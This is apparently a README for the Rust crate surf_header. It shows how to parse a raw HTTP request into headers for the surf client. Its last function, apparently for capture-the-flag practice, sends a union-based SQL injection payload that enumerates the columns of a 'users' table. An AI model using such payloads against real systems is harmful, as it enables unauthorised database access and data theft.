Header info parser for surf crate

cargo add tokio -F full
cargo add surf_header
cargo add surf
cargo add doe

#[tokio::main]
async fn main() {
    use std::collections::BTreeMap;
    use surf_header::Header;
    use surf_header::parse_to_surf_header;
    let h = r##"
    GET / HTTP/1.1
    Host: crates.io
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: https://crates.io/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Connection: close
    "##;
    let info = parse_to_surf_header(h).unwrap();
    let mut req = surf::get(info.url).build();
    req.headers(info.headers);
    let client = surf::Client::new();
    let mut res = client.send(req).await.unwrap();
    println!("{:?}",res.body_string().await.unwrap());
}

pub async fn ctf(){
    let get = async move |url:&str|url.to_string().send("GET").await.unwrap().body_string().await.unwrap().print();
    get("url/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+").await;
}